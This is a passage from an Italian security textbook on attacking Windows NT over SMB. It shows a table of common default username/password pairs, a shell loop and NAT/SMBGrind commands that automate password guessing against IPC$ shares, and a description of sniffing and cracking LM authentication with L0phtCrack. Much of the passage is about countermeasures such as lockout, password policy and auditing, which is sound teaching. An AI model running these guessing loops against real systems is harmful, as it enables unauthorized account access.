- Gli utenti tendono a utilizzare password di facile memorizzazione, come il proprio nome utente o nome di battesimo, oppure altri termini ovvi, come per esempio, "nome_azienda", "ospite", "test", "admin" e "password". I campi di note associati ai nomi utente (visibili per esempio nell'output del programma DumpACL/DumpSec) contengono spesso indizi sulla composizione delle password.
- Molti software commerciali per Windows NT definiscono e utilizzano un proprio nome utente. Questi nomi utente, con il passare del tempo, diventano di pubblico dominio, ma quel che è peggio è che vengono impostati quasi sempre allo stesso modo. L'identificazione di account noti simili a questo nella fase di enumerazione può essere di grande aiuto agli intrusi per identificare alcune password.

Nella Tabella 5.1 sono elencati alcuni esempi di combinazioni nome utente/password di utilizzo comune, che noi chiamiamo anche "combinazioni a elevata probabilità". Inoltre, è possibile trovare un elenco esaustivo di password predefinite all'indirizzo `http://www.mksecure.com/defpw/`.

Tabella 5.1 Combinazioni nome utente/password a elevata probabilità

Nome utente	Password
Administrator	NULL, password, administrator
Arcserve	arcserve, backup
Test	test, password
Lab	lab, password
Nome utente	nome utente, nome_azienda
Backup	backup
Tivoli	tivoli
symbiator	symbiator, as400
Arcserve, backupexec	backup

Generalmente, supposizioni realistiche ispirate dai suggerimenti offerti in precedenza hanno una probabilità di successo incredibilmente elevata; non sono tuttavia molti gli amministratori disposti a sacrificare il loro tempo prezioso verificando le password dei loro utenti su una rete di grandi dimensioni.
Eseguire la ricerca automatizzata delle password è semplice come realizzare un ciclo utilizzando il comando `FOR` della shell NT, basato sulla sintassi `net use`. Per prima cosa, create un file delle coppie nome utente/password basato sulle combinazioni a elevata probabilità riportate nella Tabella 5.1 (o la vostra versione personalizzata). Questo file potrebbe avere l'aspetto mostrato di seguito. Tenete presente che per separare i valori è possibile utilizzare un delimitatore qualsiasi; in questo caso abbiamo utilizzato il carattere di tabulazione. Osservate anche che le password vuote devono essere designate come coppia di virgolette ("") nella colonna di sinistra:

```
[file: credentials.txt]
password        username
""             Administrator
password        Administrator
admin           Administrator
administrator   Administrator
secret          Administrator
etc. . . .
```

Ora questo file lo possiamo "consegnare" al comando `FOR`, nel modo seguente:

```
C:\>FOR /F "tokens=1,2*" %i in (credentials.txt) do net use \\target\IPC$
➥%i /u:%j
```

Questo comando analizza il file credentials.txt, estraendo i primi due elementi di ciascuna riga e inserendo il primo come variabile `%i` (la password) e il secondo come `%j` (il nome utente) in una connessione `net use` standard di un tentativo di connessione a una condivisione IPC$ del server obiettivo. Per ulteriori informazioni sul comando `FOR`, digitate `FOR/?` nel prompt dei comandi. Si tratta di uno dei comandi maggiormente utili per gli hacker NT.
Esistono, ovviamente, numerosi programmi dedicati che consentono di automatizzare il processo di ricerca della password. Abbiamo già accennato a due di questi: Legion e NAT (*NetBIOS Auditing Tool*), illustrati nei Capitoli 3 e 4. Il programma Legion è in grado di effettuare la scansione di intervalli di indirizzi IP di classe C alla ricerca di risorse condivise di Windows ed è accompagnato da un programma che effettua una ricerca di password, utilizzando un dizionario compilato manualmente.

NAT è in grado di eseguire una funzione simile, anche se su un solo sistema di destinazione per volta. È utilizzabile dalla riga di comando, anche se le sue attività possono essere avviate da uno script che le rende automatiche. NAT è in grado di connettersi al sistema di destinazione, di tentare l'accesso utilizzando un elenco predefinito di password oppure una lista fornita dall'utente. Uno dei principali difetti di NAT risiede nel fatto che, una volta individuata una coppia di nome utente e password corretti, il programma tenta immediatamente di accedere alla risorsa utilizzando le credenziali scoperte. Per questo motivo non è possibile tentare di individuare nella stessa sessione anche le password corrispondenti ad altri nomi utente. Di seguito viene riportato un esempio che mostra l'utilizzo di un semplice ciclo `FOR` per effettuare la scansione con NAT di tutti gli indirizzi di una sottorete di classe C. L'output del programma è stato modificato per motivi di spazio:

```
D:\> FOR /L %i IN (1,1,254) DO nat -u userlist.txt -p passlist.txt
192.168.202.%I > nat_output.txt
[*]--- Checking host: 192.168.202.1
[*]--- Obtaining list of remote NetBIOS names
[*]--- Attempting to connect with Username: 'ADMINISTRATOR' Password:
      'ADMINISTRATOR'
[*]--- Attempting to connect with Username: 'ADMINISTRATOR' Password:
      'GUEST'

...
[*]--- CONNECTED: Username: 'ADMINISTRATOR' Password: 'PASSWORD'
[*]--- Attempting to access share: \\*SMBSERVER\TEMP
[*]--- WARNING: Able to access share: \\*SMBSERVER\TEMP
[*]--- Checking write access in: \\*SMBSERVER\TEMP
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\TEMP
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\TEMP
...
```

Un altro strumento valido, utilizzabile per scoprire le password vuote, è l'utility NTInfoScan, scritto da David Litchfield, disponibile all'indirizzo `http://packetstormsecurity.org/NT/audit/`. NTIS è un piccolo programma utilizzabile dalla riga di comando, che consente di effettuare scansioni di indirizzi Internet e NetBIOS, riversando i risultati dell'analisi in un file HTML. Anche questo programma è in grado di individuare l'elenco degli utenti, evidenziando alla fine del report i nomi utente la cui password associata è nulla.

Gli strumenti che abbiamo descritto sono gratuiti e generalmente riescono a eseguire con successo il loro lavoro. Se desiderate uno strumento di scansione delle password commerciale, NAI (*Network Associates Inc.*) mette a disposizione il pacchetto CyberCop Scanner, che contiene un'utility chiamata SMBGrind, che è considerata estremamente rapida in quanto in grado di avviare contemporaneamente diverse operazioni di ricerca delle password. Il suo funzionamento non è tuttavia molto differente da quello di NAT. Di seguito viene riportata parte dell'output del programma SMBGrind. Il parametro `-l` specifica il numero di connessioni contemporanee, ovvero il numero di sessioni concorrenti di ricerca delle password:

```
D:\> smbgrind -l 100 -i 192.168.2.5

Host address: 192.168.2.5
Cracking host 192.168.2.5 (*SMBSERVER)
Parallel Grinders: 100
```

```
Percent complete: 0
Percent complete: 25
Percent complete: 50
Percent complete: 75
Percent complete: 99
Guessed: testuser Password: testuser
Percent complete: 100
Grinding complete, guessed 1 accounts
```

Contromisure: difesa contro i tentativi di ricerca delle password

Esistono diversi metodi in grado di eliminare, o almeno di limitare, sistemi di ricerca delle password, inclusi quelli elencati di seguito.

- Utilizzo di un firewall di rete per limitare l'accesso ai servizi SMB sulle porte TCP 139 e 445.
- Utilizzo di funzionalità di Windows residenti su host per limitare l'accesso all'SMB:
  - Filtri IPSec (solo per Windows 2000 e versioni superiori);
  - Internet Connection Firewall (solo per Win XP e versioni superiori).
- Disattivazione dei servizi SMB (sulle porte TCP 139 e 445).
- Applicazione di una politica rigida di utilizzo delle password.
- Definizione di una soglia di blocco degli account, da applicare all'account Administrator incorporato.
- Attivazione dell'auditing dei tentativi falliti di connessione degli account ed esame periodico dei log degli eventi.

Consigliamo di adottare tutti questi meccanismi per attuare una strategia di difesa inossidabile, se questo è possibile. Illustreremo dettagliatamente ciascuno di essi.

Restrizioni all'accesso all'SMB mediante un firewall di rete

Questo metodo è consigliato, se il sistema Windows NT in oggetto è un server sulla rete Internet che non deve rispondere alle richieste di risorse condivise di Windows. Bloccate l'accesso a tutte le porte TCP e UDP non necessarie poste sul firewall perimetrale o sul router, in particolare alla TCP 139 e 445. Non ci dovrebbero essere eccezioni a questa regola, poiché l'esposizione dell'SMB sul lato esterno del firewall comporta rischi eccessivi rispetto a tutta una serie di attacchi.

Utilizzo di funzionalità Windows per limitare l'accesso ai servizi

A partire da Windows 2000, Microsoft ha implementato IPSec (*IP Security*) come funzionalità standard del sistema operativo. IPSec consente di creare filtri per limitare l'accesso a servizi basati sui parametri TCP/IP standard quali protocollo IP, indirizzo di origine, porta di destinazione TCP o UDP ecc. Parleremo ampiamente di IPSec nel paragrafo "Funzionalità di sicurezza della famiglia NT".

*RRAS (*Routing and Remote Access Service*) implementa filtri simili a IPSec, che tuttavia provocano un minore degrado delle prestazioni.*

L'ICF (*Internet Connection Firewall*) è stato introdotto con Windows XP ed è disponibile in .NET Server 2003 e versioni successive. L'ICF è proprio quanto suggerisce il nome: un firewall basato su host per Windows. Esso fornisce prestazioni eccezionali quando viene utilizzato per bloccare tutte le porte, ma è soggetto a una grave limitazione: non può essere utilizzato per limitare l'accesso ai servizi basati su indirizzi IP di origine. Nel paragrafo "Funzionalità di sicurezza della famiglia NT" parleremo anche dell'ICF.

Disattivazione dell'SMB (TCP 139 e 445)

Con Windows NT4 e versioni precedenti, per disattivare la TCP 139 (il NetBIOS Session Service) occorreva disattivare i binding al WINS Client (TCP/IP) per qualsiasi scheda connessa a reti non fidate, come mostrato in questo esempio della finestra di dialogo *Network* di Windows NT.

Questa impostazione è in grado di disabilitare le porte necessarie per l'accesso a NetBIOS su questa interfaccia. Nel caso degli host dual-homed, è possibile disabilitare NetBIOS solamente per le schede di rete connesse a Internet, mantenendo invece il protocollo attivo per quelle connesse alla rete interna; in questo modo per gli utenti interni sarà ancora possibile accedere alle risorse condivise di Windows (se si disabilita NetBIOS in questo modo, la porta esterna 139 viene ancora registrata come in ascolto ma non risponde alle richieste).
In Windows 2000 e versioni successive, NetBIOS su TCP/IP può essere disabilitato aprendo la finestra di dialogo *Proprietà* della connessione di rete appropriata all'in-

terno della finestra *Connessioni di rete* e poi selezionando *Protocollo Internet (TCP/IP)/Proprietà/Avanzate/WINS/Disabilita NetBIOS su TCP/IP*.

L'aspetto di cui non ci si potrebbe rendere conto, tuttavia, è che, sebbene il trasporto NetBIOS possa essere disabilitato in questo modo, Windows 2000 continua a utilizzare SMB su TCP (porta 445) per la condivisione di file di Windows (si veda la Tabella 5.1).

Ecco quindi lo "scherzo" che Microsoft gioca ai danni dell'utente ingenuo, convinto che la disabilitazione di NetBIOS su TCP/IP (tramite la scheda *WINS* delle Proprietà della connessione LAN) risolverà i problemi di ricerca delle risorse attraverso le sessioni nulle. Accadrà esattamente il contrario: tale operazione chiude la porta TCP 139, ma non la 445. Questa operazione sembra risolvere i problemi legati alle sessioni nulle, perché gli hacker che non dispongono ancora del Service Pack 6a non sono in grado di connettersi alla porta 445 e creare una sessione nulla. Tuttavia i client successivi al SP6a e Windows 2000 possono connettersi alla porta 445 e portare a termine quelle operazioni spiacevoli che ben conosciamo (come enumerare gli utenti, eseguire `user2sid/sid2user` ecc.), e che abbiamo dettagliatamente descritto nel Capitolo 3. Non lasciatevi trarre in inganno dalle modifiche superficiali dell'interfaccia utente!

Fortunatamente esiste un modo per disabilitare anche la porta 445, anche se, come avviene con la disabilitazione della porta 139 in Windows NT 4, richiede di entrare nei particolari relativi ai binding di una scheda specifica. Per prima cosa dovete trovare la scheda dei binding, perché è stata spostata in un luogo in cui nessuno penserebbe mai di guardare (un altro degli spostamenti frustranti relativi all'interfaccia utente). Per raggiungerla dovete aprire l'applet *Connessioni di rete* e selezionare *Avanzate/Impostazioni avanzate*, come mostrato nella figura seguente.

Deselezionando *Condivisione file e stampanti per reti Microsoft*, come mostrato nella Figura 5.1, verranno disabilitate le sessioni nulle sulle porte 139 e 445 (insieme alla condivisione di file e stampanti, ovviamente). Non è necessario alcun riavvio affinché questo cambiamento abbia effetto (Microsoft deve essere sinceramente elogiata per aver finalmente permesso di effettuare molte modifiche alla rete senza richiedere un riavvio). Questo rimane il metodo migliore per configurare le interfacce esterne di un server connesso a Internet.

La porta TCP 139 continuerà ad apparire in caso di scansione delle porte, anche dopo questa impostazione; tuttavia non fornirà più informazioni relative a NetBIOS.

Se i vostri sistemi della famiglia NT sono file server, per cui devono conservare la connettività Windows, queste misure ovviamente non saranno sufficienti, poiché bloccheranno o disattiveranno tutti i servizi di questo tipo. Occorrerà adot-

Figura 5.1
Disabilitare dei i file NetBIOS e SMB/CIFS e la condivisione di stampa (bloccando le sessioni nulle), utilizzando la finestra Network and Dial-Up Connections Advance Setting.

tare misure più tradizionali, per esempio il blocco degli account dopo un certo numero di tentativi di connessione falliti, o l'utilizzo di una politica di password inossidabili e la registrazione dei tentativi non andati a buon fine. Per fortuna, Microsoft mette a disposizione alcuni tool che consentono di attuare queste contromisure.

Applicazione di un politica di password inossidabili

Uno di questi strumenti è costituito dalla poltitica degli account di User Manager, definita in *Policies/Account* in NT4. La stessa funzionalità si trova in *Criteri di protezione locali/Criteri account/Criterio password* in Windows 2000 e versioni superiori.

Politica di gestione degli account

Il principale strumento disponibile per poter gestire la regolazione per la scelta dei nomi utente e delle password è *User Manager*, disponibile selezionando il menu *Policies* e la voce *Account*. Con questa funzionalità è possibile modificare la politica di gestione delle password (per esempio forzando la lunghezza minima della password o la sua unicità). Potete anche decidere che il nome utente venga bloccato dopo un certo numero di tentativi di connessione falliti. La finestra *Account Policy* consente anche agli amministratori di disconnettere gli utenti quando le normali ore

di accesso al sistema sono scadute: questa impostazione consente di tenere lontano i golosi nottambuli dal barattolo di marmellata. La finestra di dialogo *Account Policy* di Windows NT4 è mostrata nella figura seguente.

Ancora una volta, chiunque intenda verificare la forza delle password mediante le tecniche manuali automatizzate illustrate in questo capitolo deve essere a conoscenza di questa funzionalità di blocco degli account.

Passfilt

È possibile migliorare ulteriormente la politica di scelta delle password utilizzando la libreria DLL Passfilt, che viene installata insieme al Service Pack 2 di NT 4 e che può essere abilitata in base alle istruzioni riportate nell'articolo numero Q161990 di Microsoft Knowledge Base.

Passfilt è installato di default sui sistemi Windows 2000 e successivi, ma non è automaticamente abilitato. Per abilitarlo utilizzate gli strumenti `secpol.msc` *o* `gpedit.msc`, *attivando* Criteri di protezione locali/Criteri account/Criterio password. *Le password devono essere conformi ai requisiti di conformità.*

La libreria Passfilt costringe ad adottare una politica delle password restrittiva, garantendo così che nessun utente si impigrisca e che nessuna delle password riesca a essere elaborata dai vari programmi di cracking. In sostanza quando la libreria viene installata e attivata, l'utente è costretto a scegliere password che siano lunghe al-

meno sei caratteri, che non siano equivalenti, nemmeno in parte, a un qualunque nome utente o nome proprio e che contengano caratteri appartenenti ad almeno tre delle categorie seguenti:

- lettere maiuscole dell'alfabeto inglese (A, B, C, ... Z);
- lettere minuscole dell'alfabeto inglese (a, b, c, ... z);
- numeri arabi (1, 2, 3, ... 0);
- metacaratteri non alfanumerici (@, #, [,] ecc.).

La libreria Passfilt è fondamentale per chiunque voglia esere considerato un serio amministratore di sistema NT, ma non è in grado di risolvere completamente il problema: consigliamo vivamente di utilizzare la finestra *Account Policy* disponibile nell'applicazione per evadere questa limitazione e portare la lunghezza minima della password a 7 caratteri. Discuteremo in seguito il motivo di questa scelta.

In Windows NT 4 Passfilt agisce solo quando l'utente chiede di modificare la password. Gli amministratori possono ancora impostare password deboli ricorrendo al programma User Manager, aggirando così le condizioni imposte dall'attivazione della libreria (si veda l'articolo Q174075 di KB).

Soglia di blocco

Probabilmente uno degli interventi più importanti da compiere per limitare gli attacchi di identificazione delle password SMB consiste nel definire una soglia di blocco per gli account. Quando un utente raggiunge un certo numero di tentativi di connessione falliti, il suo account viene bloccato finché un amministratore non lo ripristina o trascorre un periodo di tempo di interdizione definito dall'amministratore stesso. Le soglie di blocco possono essere definite tramite l'User Manager di NT4 o in *Criteri di protezione locali/Criteri account/Criterio di blocco account* in Windows 2000 e versioni successive.

La soglia di blocco non si applica all'account Administrator incorporato. Dovete utilizzare il tool `passprop` *per configurare la soglia di blocco affinché venga applicata all'account Administrator locale.*

passprop

`passprop` è un tool del Resource Kit della famiglia NT che applica la soglia esistente di blocco account all'account Administrator incorporato. Come abbiamo già evidenziato, l'utente Administrator è il trofeo più ambito che gli hacker possano conquistare. Sfortunatamente l'utente Administrator (RID 500) non può essere bloccato di default dopo un certo numero di tentativi di accesso falliti. Questa peculiarità consente a eventuali intrusi informatici di tentare indefinitamente di accedere al sistema utilizzando questo utente. `passprop` consente anche all'utente Administrator di applicare la regolazione del blocco dell'autenticazione degli utenti (l'utente Administrator può sempre essere sbloccato dalla console di sistema, per prevenire un possibile attacco di tipo Denial of Service).

Per attivare il blocco dell'utente Administrator, installate l'intero pacchetto RK (oppure solamente il file `passprop.exe`, se pensate che l'installazione dell'intero Resource Kit non sia opportuna) e digitate il comando seguente dalla console di sistema:

```
passprop /complex /adminlockout
```

Con l'opzione `/noadminlockout` è possibile disattivare il blocco dell'utente Administrator.

> `passprop`, *nonostante le apparenze, non funziona su Windows 2000 se non è installato il Service Pack 2.*

Auditing e log

Anche se avete attivato Passfilt o `passprop`, impedendo a eventuali intrusi di accedere ai vostri sistemi con il metodo della ripetizione dei tentativi di accesso, è comunque opportuno registrare i tentativi di connessione falliti utilizzando *Policies /Audit* in User Manager di NT4 (anche queste impostazioni sono disponibili in Windows 2000 e versioni successive tramite *Criteri di protezione locali/Criteri locali/Criteri controllo*). La Figura 5.2 mostra la configurazione consigliata nel tool Security Policy per avere un .NET Server 2003 RC1 perfettamente protetto. Sebbene queste impostazioni producano log più ricchi di informazioni con un effetto relativamente modesto sulle prestazioni, consigliamo di effettuare alcune prove prima di adottarle in ambienti di produzione.

Figura 5.2

Impostazioni di auditing consigliate per un server sicuro, configurate mediante lo snap-in Security Policy di .NET Server 2003 RC1.

È ovvio che l'attivazione dell'auditing degli eventi diventa inutile se nessun amministratore analizza periodicamente gli eventi registrati nei log per cercare tracce di tentativi di intrusione. Un log della sicurezza (*Security Log*) con una serie di eventi 529 o 539 Logon/Logoff (che indicano rispettivamente tentativi falliti di logon o logoff e il blocco del nome utente) è un sintomo sicuro del fatto che il vostro sistema è sottoposto a un attacco automatizzato. Dalla lettura del log diventa anche possibile nella maggior parte dei casi identificare la provenienza dell'attacco. Sfortunatamente la registrazione della famiglia NT non notifica l'indirizzo IP del sistema che sferra l'attacco, ma solo il nome NetBIOS. Ovviamente i nomi NetBIOS possono essere falsificati con facilità, quindi cambiare appositamente il nome NetBIOS è pura follia. In realtà, il prodotto SMBGrind di NAI falsifica il nome NetBIOS e può essere alterato facilmente con un semplice esadecimale binario quale UltraEdit. Corre voce che in.NET Server 2003 verrà registrato l'indirizzo IP dei sistemi dell'intruso nel caso di tentativi di connessione falliti.
La Figura 5.3 mostra il Security Log dopo una lunga serie di tentativi di accesso falliti, realizzati con NAT.

Event Viewer - Security Log on \\ACMEPDC1

Log View Options Help

Date	Time	Source	Category	Event	User	Computer
5/23/99	9:14:16 AM	Security	Logon/Logoff	539	SYSTEM	ACMEPDC1
5/23/99	9:14:13 AM	Security	Logon/Logoff	529	SYSTEM	ACMEPDC1
5/23/99	9:14:06 AM	Security	Logon/Logoff	529	SYSTEM	ACMEPDC1
5/23/99	9:13:57 AM	Security	Logon/Logoff	529	SYSTEM	ACMEPDC1
5/23/99	9:13:13 AM	Security	Logon/Logoff	539	SYSTEM	ACMEPDC1
5/22/99	11:57:11 PM	Security	Logon/Logoff	529	SYSTEM	ACMEPDC1
5/22/99	11:57:05 PM	Security	Logon/Logoff	529	SYSTEM	ACMEPDC1
5/22/99	11:57:00 PM	Security	Logon/Logoff	529	SYSTEM	ACMEPDC1
5/22/99	11:56:46 PM	Security	Logon/Logoff	529	SYSTEM	ACMEPDC1
5/22/99	11:56:41 PM	Security	Logon/Logoff	529	SYSTEM	ACMEPDC1
5/22/99	11:56:35 PM	Security	Logon/Logoff	529	SYSTEM	ACMEPDC1
5/22/99	11:56:21 PM	Security	Logon/Logoff	529	SYSTEM	ACMEPDC1
5/22/99	11:56:16 PM	Security	Logon/Logoff	529	SYSTEM	ACMEPDC1
5/22/99	11:56:10 PM	Security	Logon/Logoff	529	SYSTEM	ACMEPDC1
5/22/99	11:55:56 PM	Security	Logon/Logoff	529	SYSTEM	ACMEPDC1
5/22/99	11:55:51 PM	Security	Logon/Logoff	529	SYSTEM	ACMEPDC1
5/22/99	11:55:46 PM	Security	Logon/Logoff	529	SYSTEM	ACMEPDC1
5/22/99	11:55:31 PM	Security	Logon/Logoff	529	SYSTEM	ACMEPDC1
5/22/99	11:55:26 PM	Security	Logon/Logoff	529	SYSTEM	ACMEPDC1
5/22/99	11:55:21 PM	Security	Logon/Logoff	529	SYSTEM	ACMEPDC1
5/22/99	11:55:07 PM	Security	Logon/Logoff	529	SYSTEM	ACMEPDC1
5/22/99	11:55:01 PM	Security	Logon/Logoff	529	SYSTEM	ACMEPDC1
5/22/99	11:54:56 PM	Security	Logon/Logoff	529	SYSTEM	ACMEPDC1
5/22/99	11:54:39 PM	Security	Logon/Logoff	529	SYSTEM	ACMEPDC1
5/22/99	11:54:34 PM	Security	Logon/Logoff	529	SYSTEM	ACMEPDC1
5/22/99	11:54:29 PM	Security	Logon/Logoff	529	SYSTEM	ACMEPDC1
5/22/99	11:54:14 PM	Security	Logon/Logoff	529	SYSTEM	ACMEPDC1

Figura 5.3

Il Security Log di NT mostra i tentativi di logon falliti prodotti da un attacco basato sulla ricerca automatizzata della password.

Di seguito è visibile in dettaglio la descrizione dell'evento 539.

Event Detail

Date: 5/23/99 Event ID: 539
Time: 9:14:16 AM Source: Security
User: NT AUTHORITY\SYSTE Type: Failure Audit
Computer: ACMEPDC1 Category: Logon/Logoff

Description:

Logon Failure:
Reason: Account locked out
User Name: jim
Domain: MICHAEL
Logon Type: 3
Logon Process: KSecDD
Authentication Package:
MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Workstation Name: \\MICHAEL

Data: Bytes Words

Close Previous Next Help

Naturalmente l'attivazione dell'auditing non è sufficiente se nessuno analizza periodicamente i log. Sappiamo che la consultazione manuale degli eventi può anche essere onerosa, ma fortunatamente l'utility Event Viewer è in grado di filtrare gli eventi elencati utilizzando i parametri data, tipo, fonte dell'evento, categoria, utente, sistema e ID dell'evento.

Se avete la necessità di uno strumento affidabile e programmabile per gestire e analizzare i log di sistema, procuratevi `dumpel` di RK. L'utility `dumpel` è in grado di gestire i log presenti su server remoti (ovviamente se sono concesse le autorizzazioni appropriate) ed è in grado di filtrare da uno a dieci tipi di eventi contemporaneamente. Con `dumpel`, per esempio, è possibile estrarre da un server remoto tutti gli eventi corrispondenti a tentativi di accesso al sistema falliti (a cui viene attribuito un ID 529) e trasportarli sulla postazione locale con il comando seguente:

```
C:\> dumpel -e 529 -f seclog.txt -l security -m Security –t
```

Un altro ottimo strumento è DumpEvt di Somarsoft (disponibile gratuitamente all'indirizzo `http://www.somarsoft.com`). DumpEvt è in grado di accedere all'intero log della sicurezza del sistema, trasformandolo in un formato adatto all'importazione in un database Access o SQL Server. Questo programma non è invece in grado di filtrare specifiche tipologie di evento di sistema.

Un altro valido tool gratuito è EventCombNT, incluso in Windows 2000 Server Security Operations Guide di Microsoft, e disponibile all'indirizzo `http://www.microsoft.com/technet/security/prodtech/windows/windows2000/staysecure/dfault.asp`. EventCombNT è un tool multithread in grado di effettuare contemporaneamente il parsing di log degli eventi di molti server per determinati ID di eventi, tipi di eventi, origini di eventi e così via. Tutti i server devono essere membri di un dominio, poiché EventCombNT funziona solo connettendosi inizialmente a un dominio.

Tra i tool commerciali, consigliamo ELM Log Manager di .TNT Software, disponibile all'indirizzo `http://www.tntsoftware.com`. ELM consente di effettuare il monitoraggio dei log degli eventi con relativa notifica in tempo reale e a livello centralizzato su tutte le versioni della famiglia NT, inoltre assicura la compatibilità con Syslog e SNMP per sistemi non Windows. Anche se non l'abbiamo utilizzato personalmente, abbiamo raccolto pareri molto positivi su di esso presso clienti.

Attivazione di allarmi in tempo reale: individuazione delle intrusioni

La prossima frontiera nelle applicazioni di analisi dei log della sicurezza è rappresentata dalla capacità di attivazione di allarmi in tempo reale. Le applicazioni per Windows NT che svolgono le cosiddette "funzioni di individuazione delle intrusioni". sono elencate nella Tabella 5.2.

Nella Tabella 5.2 abbiamo illustrato prevalentemente i sistemi di intercettazione delle intrusioni basati su host Windows; tuttavia molti dei fornitori elencati in questa tabella offrono anche altri prodotti di vari tipi: tool per l'analisi dei log e per l'emissione di avvisi, sistemi di monitoraggio degli attacchi ai protocolli delle reti ecc.; pertanto ponete domande precise ai fornitori sulle possibilità e sulle funzioni dei prodotti di vostro interesse.

Una discussione approfondita sull'intercettazione delle intrusioni esula purtroppo dagli obiettivi di questo libro; tuttavia gli amministratori attenti alla sicurezza dovranno seguire l'evoluzione di questa tecnologia. Che cosa può essere più importante di un allarme antifurto per la vostra rete di sistemi della famiglia NT?

Tabella 5.2 Strumenti per l'intercettazione degli intrusi in ambiente NT/2000

BlackICE Pro	Internet Securirty Systems `http://blackice.net/`
Centrax	Cybersafe Corp. `http://www.cybersafe.com/`
Entercept	Entercept Security Technologies `http://entercept.com/`
eTrust Intrusion Detection	CA (*Computer Associates*) `http://www3.ca.com/Solutions/Product.asp?ID=163`
Intact	Pedestal Software `http://pedestalsoftware.com/`
ITA (Intruder Alert)	Symantec `http://enterprisesecurity.symantec.com/products`
RealSecure Server Protection	Internet Security System `http://www.iss.net`
Tripwire for NT	Tripwire, Inc. `http://www.tripwiresecurity.com/`

Una discussione approfondita dei metodi di rilevazione delle intrusioni non rientra negli obiettivi di questo libro. Gli amministratori di sistema dovrebbero tuttavia tenersi costantemente sui nuovi prodotti: che cosa vi può essere di più importante di uno strumento in grado di lanciare un allarme ogni volta che avviene un tentativo d'intrusione?

Intercettazione del traffico di autenticazione di rete

Diffusione:	*6*
Semplicità:	*4*
Impatto:	*9*
Fattore di rischio:	*6*

La ricerca della password è un lavoro gravoso. Perché dunque non intercettare le credenziali direttamente dal cavo quando gli utenti eseguono la connessione al server e, semplicemente, replicarle per ottenere l'accesso al sistema obiettivo? Nell'eventualità, comunque improbabile, che un hacker sia in grado di intercettare il traffico di autenticazione verso un server Windows NT, questo approccio può risparmiare un numero notevole di tentativi di indovinare la password a caso. Qualsiasi vecchio sniffer è in grado di eseguire questa operazione; al giorno d'oggi esistono tuttavia alcuni strumenti specifici progettati per questo scopo. Uno dei tanti strumenti che avremo l'occasione di illustrare in questo capitolo è L0phtCrack, disponibile all'indirizzo `http://www.atstake.com/research/lc/index.html` (il nome del programma contiene, casualmente, la cifra zero).

@stake, nelle versioni recenti, si riferisce a L0phtCrack con la sigla "LC"; al momento della stesura di questo volume, la versione più recente è la LC4.

L0phtCrack è uno strumento di ricerca delle password per server della famiglia Windows NT, che generalmente viene eseguito offline, elaborando una lista di hash di password per Windows NT, precedentemente intercettate. In questo modo si evita la possibilità di bloccare i nomi utente e la ricerca di una password corretta può praticamente procedere all'infinito. Risalire a un file di hash di password non è tuttavia

un'impresa semplice. (Questa operazione verrà esaminata nel prosieguo di questo capitolo nel paragrafo "Cracking delle password", insieme al programma L0phtCrack.)
L0phtCrack contiene anche una funzione chiamata "SMB Packet Capture" (nelle versioni precedenti questa funzione costituiva un'utility a parte, chiamata readsmb), che elimina la necessità di ottenere dal sistema Windows NT il database delle password. SMB Packet Capture resta in ascolto sul segmento di rete locale al quale può accedere ed è in grado di intercettare e catturare le singole sessioni di autenticazione tra sistemi Windows NT, estraendone le informazioni cifrate che possono essere utilizzate per risalire alle password, e le importa successivamente nel programma principale di L0phtCrack per l'analisi. La Figura 5.4 mostra SMB Packet Capture al lavoro, mentre cattura password in transito sulla rete locale, di cui verrà successivamente effettuato il cracking mediante L0phtCrack.

Source...	Destinat...	Domain\Username	Challenge	LM Respons
192.168....	192.168...	STRATOSPHERE-TS\A...	669576...	b95f610c27
192.168....	192.168...	STRATOSPHERE-TS\phil	f53645...	1282210707
192.168....	192.168...	NT4DOM\admin	8aa732...	0a2dc17e6a
192.168....	192.168...	STRATOSPHERE-TS\s...	44ddb8...	c705fec66b
192.168....	192.168...	STRATOSPHERE-TS\test	8177d9...	b147e898e4
192.168....	192.168...	NT4DOM\Administrator	bb8c33...	445205091
192.168....	192.168...	NT4DOM\Administrator	4f7588...	f0dd3a841ef
192.168....	192.168...	NT4DOM\Administrator	2038bb...	115aad02a3
192.168....	192.168...	NT4DOM\Administrator	27c7f5...	b77c5612e7
192.168....	192.168...	STRATOSPHERE-TS\jo...	a93143...	1475c3818c
192.168....	192.168...	STRATOSPHERE-TS\bart	166525...	d37a1da597

Figura 5.4

L'utility SMB Packet Capture, fornita insieme a L0phtCrack, è in grado di restare in ascolto sulla rete e di intercettare le sessioni di autenticazione a Windows NT. I risultati raccolti possono essere restituiti al programma L0phtCrack per il processo vero e proprio di crack.

Alcuni lettori potrebbero a questo punto chiedersi se Windows NT utilizza il metodo d'autenticazione basato sul protocollo challenge/response. La risposta è sì. Durante la procedura di autenticazione, il server invia ai client un *challenge* (sfida), che viene in seguito cifrato utilizzando come chiave l'hash della password dell'utente e restituito al server via cavo. Quindi, il server esegue la cifratura del challenge utilizzando la sua copia dell'hash dell'utente e confronta i due valori. Se coincidono, l'utente è autenticato (si veda l'articolo *Q102716* di Microsoft Knowledge Base). Se l'hash di password dell'utente non attraversa mai la rete, come può riuscire l'utility SMB Packet Capture di L0pht a intercettarlo?
Semplicemente ricorrendo a un attacco di tipo forza bruta. Dal pacchetto catturato, L0phtCrack ricava *unicamente* il challenge e l'hash dell'utente cifrato utilizzando il challenge. Eseguendo la cifratura del valore conosciuto del challenge con strighe casuali e confrontando il risultato con l'hash cifrato, L0phtCrack è in grado di risalire al valore effettivo dell'hash stesso. A causa delle debolezze dell'algoritmo di hash LanManager, questo confronto richiede molto meno tempo del previsto. Il motivo

principale di questo risparmio di tempo risiede nella segmentazione dell'hash LM in tre parti attaccabili separatamente; questo consente di sferrare contemporaneamente l'attacco su diverse porzioni più piccole dell'hash anziché contro l'intero valore.
Il grado di efficacia del reverse-engineering utilizzato nella cattura SMB abbinato al motore principale di cracking delle password di L0phtCrack è tale che chiunque avrà la possibilità di rimanere in ascolto sul segmento di rete per un periodo prolungato di tempo (operazione chiamata *sniffing*), quasi sicuramente sarà un grado di ottenere le credenziali dell'utente Administrator nel giro di pochi giorni. Adesso sentite, per caso, il ticchettio del conto alla rovescia prima che la vostra rete venga invasa da un'orda di hacker?
